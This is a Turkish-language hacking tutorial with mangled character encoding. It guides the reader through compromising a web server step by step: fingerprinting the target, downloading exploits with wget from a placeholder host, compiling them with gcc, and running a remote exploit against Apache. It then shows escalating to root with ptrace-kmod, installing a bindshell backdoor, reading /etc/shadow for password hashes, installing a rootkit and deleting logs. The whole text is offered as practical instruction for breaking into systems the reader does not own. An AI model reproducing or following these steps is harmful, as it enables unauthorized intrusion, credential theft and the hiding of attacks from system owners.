Üzerine kurulu daemon larýn açýðýný kullanarak yada local attack lar düzenleyerek sistemi sahiplenebiliriz.. Bu olaylarý gerçekleþtirirken biz Sistem açýklarýný kullanmamýzý saðlayan minik progragr*****lar olan Exploit leri kullanýrýz..
Exploit Nedir: Exploitler genel olarak .c ve .pl uzantýlý dosyalardýr içinde kodlar vardýr.. .c uzantýlý olan dosyalar C dili ile yazýlmýþ kaynak kodlarý içerir .pl olanlarda perl dili ile yazýlmýþ kodlarý içerir.. Bunlar haricinde assembly dili ile yazýlmýþ olanlarda vardýr..
Þimdi bu exploitleri yazan þhýslarýn C dilini yalamýþ yutmuþ sistemleri gözü kapalý anlatabilecek seviyede olan hacker lar ýn yazdýðýnýda söylemek isterim.. Exploitler attack türüne göre 2 ye ayrýlýr..
1- Local Attack..
2- Remote Attack..
Yüzeysel olarak anlatmak gerekirse Local attack uygularken sen olduðun makinadaki kýsýtlý yetkini aþýp root olmak için uðraþýrsýn.. Bunun için local root exploitler kullanýlýr.. Tabi burda genel konuþuyorum baþka amaçlar içinde local Exploitler kullanýlabiliyor.. Remote Attacklar ise Alakan olmayan bir makina örneðin bir web server burda senin account un yok bu makinaya local bir attack düzenleyemezsin.. Bunun için remote türü attacklar la remote exploitler kullanýlabilir.. Bu remote Exploitlerin bir kýsmý seni makineye düþürür sonrasýnda local root türü bir exploitle root yetkisine geçersin.. Bi kýsmýda Remote Root tur içeri düþtüðün zaman id kýsmýnda Root yazar.. Kýsaca mantýk budur.. Exploitler kaynak kod halinde olduðu için bunlar Compile (derlemek) edilmelidir.. Bunun için windows altýnda çalýþan compiler lar mevcut olsada.. Exploitler in geneli Linux makinede Compile edilmek üzere tasarlanýr.. Yani o þekil yazýlýr.. windows altýnda compile etmek isteyince .h library hatasý verecektir.. Linux makinedeki "gcc" Compileri bu iþ için çok uygundur.. Exploitleri compile etmek için 1 kaç seçenek doðuyor.. 1 Shell hesabý alarak oradaki gcc compilerini kullanabilirsiniz.. Yada kendi bilgisayarýnýz herhangi bir Linux daðýtýmýný yükleyebilir komut satýrýný shell olarak kullanabilirsiniz.. Tavsiyem shell dir.. Hem komut tabanlý kullanýlýyor hemde baðlantý hýzý oldukça iyidir.. Shell kvramýný bilmeyenler için açýklamak istiyorum..
Shell Nedir : Shell Linux iþletim sistemi kullanan bir makineden size verilen kýsýtlý yetkilere sahip olduðunuz alan dýr.. Bi yerdir yani.. Bu alana putty programý aracýlýðý ile baðlanýlabilir.. Kullanýlan port ve protokol ; SSH protokolu ve 22. Porttur.. SSH güvenlidir.. telnet gibi deðildir yani.. Bu Shell hesabýna ircd kurulabildiði gibi exploit compile olaylarýda yapýlabiliyor.. Bu kýsým anlaþýlmýþtýr umarým.. birazda putty programýna deðinelim..
Putty Nedir : Putty Telnet/SSH Clientidir.. Bu programla telnet ve SSH sunucularýna rahatlýkla baðlanabilir komutlarý program üzerinden girebilirsiniz... Kullanýmý oldukça basittir..Download bölümünde putty programý mevcuttur.. Þimdi putty i download ettikten sonra... programý çalýþtýrýn... "Host Name ( or IP adress)" yazan kutucuða shell inizin ip sini yazacaksýnýz... Hemen o kutucuðun altýnda "Protocol" seçenekleri var baðlanmak istediðiniz sistemin protokolune göre ordan birini seçeceksiniz SSH sunucusuna baðlanýorsanýz "SSH" yi telnet sunucusuna baðlanýorsanýz "Telnet" i seçeceksiniz.. Bizim baðlanacaðýmýz sistem linux olduðuna göre ve bu sistem SSH protololu kullandýðý için "SSH" yi seçiyoruz.. "SSH" yi seçtikten sonra sað alttaki "open" botonuna basýn... Önünüze siyah bir ekran çýkacaktýr buraya Shell username inizi yazýn enterlayýn.. Pass inizi isteyecek onuda yazýp enterlayýn... Shelle baðlanmýþ olacaksýnýz... Þimdi Linux makinaya baðlanmýþ olduðumuza göre bi kaç linux komutundan bahsedeyim...
ls : olduðunuz dizindeki dosyalarý listeler.. (örnek: ls )
rm -rf dosyaadi : belirttiðiniz dosyayý siler.. (örnek: rm -rf apache.c)
wget : Dosya çekmeye yarar... (örnek: wget
http://xxxx.com/Apache_1.3.x.c) gcc -o : C dilinde yazýlmýþ programlarý derleme komutudur... Biz genellikle bunu exploit kodlarýný derlemek için kullanacaðýz (örnek: gcc -o Apache Apache_1.3.x.c)
./ : Çalýþtýrma komutudur.. (örnek: ./Apache)
Exploit Compile Nasýl yapýlýr : Þimdi Shell imiz var ve putty programý ile shell imize baðlandýðýmýzý var sYasak Kelime anlatýyorum... Öncelikle kullanacaðýmýz 3-5 temel komutumuz var.. bunlarý örneklerle açýklayacaðýz..
"wget Bu komutla
http://xxx.com/Ftkftp_v1.0.4.c isimli dosyayý çekioruz yani wget komutu dosya çekmeye yarýor....
"gcc -o Gtkftp Gtkftp_v1.0.4.c" Bu komutla Gtkftp_v1.0.4.c isimli exploiti derliyoruz... ama derlenmiþ olan exploiti Gtkftp adýnda kaydediyoruz... Bu komutla bu dediklerim oluyo...
"./Gtkftp" Komutu ile bu exploitle birlikte kullanabileceðim parametreleri gördüm... Yani exploiti çalýþtýrmayý denedim ama yetersiz parametre kullandýðým için bana açýklama verdi kullanabileceðim parametrelerin bi listesini verdi....
"./Gtkftp -h
www.yyyyy.com" Komutu ile
www.yyyyy.com sitesi üzerine bu exploiti çalýþtýrmayý denedim ama verdiði uyarýda
www.yyyyy.com sitesi "<- 220 ProFTPD 1.2.7 Server (ProFTPD) [OEI.guncelturk.net]
[!] error: this exploit is only for GtkFTPd, failed.
" proFTPD kullanýor ve bu exploit sadece Gtk ftp kullanan host larda çalýþýr dio...
Exloit compile etme ve çalýþtýrma olayýda açýklýða kavþtu Þimdi bir sisteme nasýl girilir onu görelim..
Exploit Kullanarak Sisteme girmek :
Þimdi en can alýcý noktaya geldik... Yukarda örnekle gösterdiklerimi þimdi uygulamaya dökeceðim... Bunun için öncelikle bir hedef belirlemem gerekiyor...
www.XXXXXX.com serverlarýna gireceðim.. iþlem sýrasýna gelince..
1-
www.netcraft.com sitesinden server infosunu almak.. yada sitemizde werdiðimiz scan_projecti kullanarak httpd server infosuna bakmak..
2- Gerekli exploiti temin etmek...
3- Shell &l8217;e login olup gerekli exploiti shell e çekmek ve kullanmak...
4- Servera bindshell kurmak...(bunu loglara kayitlanmamak için yapiyoruz ve ayrýca shelin kapatilmasi söz konusu olabilir..
5- Serverda root olmak...
6- Rookit kurmak (binshelle idare ederim diyorsanýz gerek yok)
6- Loglari silmek
Ýþlemleri sýrasýyla yapýyorum...
1- Server infosunu aldým.. Kullanýlan server bilgileri þöyle;
The site
www.XXXXXX.com is running Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6 PHP/4.0.4pl1 mod_perl/1.24_01 on Linux.
2- 7350 fun Exploit i ile bu servera girebilirim...
3- Shell e login oldum... Exploiti çektim çalýþtýrdým...
4- HPbindshell i kurdum...
5- ptrace-kmod exploiti ile serverda root oldum...
7350 exploiti kaynak kod halinde deil derlenmiþ halde daðýtýlýyor ayrýca eski bir exploittir...
7350 yi hebele olarak shell e kaydettim... Kulandýðým komuta gelince... Exploit brute force yöntemi ile çalýþýor... Ben brute force un etkili olduu kýsmý direkt yazarak kýsa yoldan sisteme girdim.. Screenshot un sonunda yazan yazýlar gelince bi süre bekledikten sonra shell e düþürecektir..Sonraki iþlemler... Aslýnda istesek bu þekilde shell kullanarak oraya girebiliriz... Ama bi süre sonra Read Error verip bizi düþürecektir...O yüzden bindshell türü bir program kurarak bu sorunu hallederiz... Ama öncelikle yazma iznimizin olduðu bir klasöre girelim genel olarak /tmp/ dizininie yazma iznimiz vardýr bazý sistem yöneticileri bunuda kaldýrýyor ama nadir olan bi olay.. Tmp dizinine geçmek için "cd /tmp" komutunu uygulayýn...
Bind Shell kurulumu : Þimdi sisteme bindshell denilen bi çeþit trojan niteliði taþýyan bir program kurmak gerekecek.. amacý sistemdeki belirli bir portu bindshell olarak açmasý ve buraya baðlanmayý saðlamasýdýr.. Exploitle içeri düþünce bi nevi shell hesabýmýz oluyor o makinada.. ama anonymous bir shell.. id mizde nobOdy yada farklý biþey yazar.. Normal de Shell hesabý olanlarýn /home/ dizini altýnda bir klasörü olur.. Gerçi klasör olayý root a baðlýdýr ama geneli böyledir.. bu Anonymous giriþte bu dizin altýnda klasörümüz olmaz.. bindshell kuruyoruz çünki her zaman exploiti kullanýp sisteme remote attack düzenlemek zorunda kalmayalým diye.. Her zaman Exploitin sonuç vereceði kesin deðildir açýk patch lenmiþ olabilir.. ve Exploitlerin kýsa sürede sonuç vereceðide kesin deðildir.. Neyse bindshell kurulumunun anlatýlacak bi tarafý yok ./bindshel deyip kurulur.. Sonrasýnda sistem hakkýnda biraz bilgi alarak siste! min nasýl rootlanacaðýna bakýlýr.. "uname -r" Komutu ile kernel in sürümü öðrenilip buna göre local root exploit uygulanabilir yada "ps x" gibi komutlarlada çalýþan uygulama ve programlara görede bakýlabilir.. Burada biraz Linux bilgisi ister... Þimdi þu kýsýma dikkat edin.. Öncelikle bir remote attack düzenledik sisteme girdik.. Þimdi ise bir local attack düzenleyip root olmaya çalýþtýk.. iþlem sýrasý o þekilde ilerliyor.. Önce sisteme girmek gerekir sonra local bir attackla sisteme sahip olamk gerekir... Sistemde bir hesabýnýz olursa remote attack kýsmýný eleyip local attack yöntemlerine bakarsýnýz olay bu... Sistemdeki Þifreleri almak için "cat /etc/shadow" komutunu uygulayýp /etc/ dizini altýndaki "shadow" isimli dosyanýn içeriði ekrana basabilir shadow pass leri alabilirsiniz.. ama sistemde root olduktan sonra ne gereði varki zaten sistemdeki istediðiniz her dosyaya her siteye eriþim saðlarsýnýz.. Root olduktan sonra sisteme bir rootkit kurarak gizli giriþ çýkýþ yapabilirsiniz..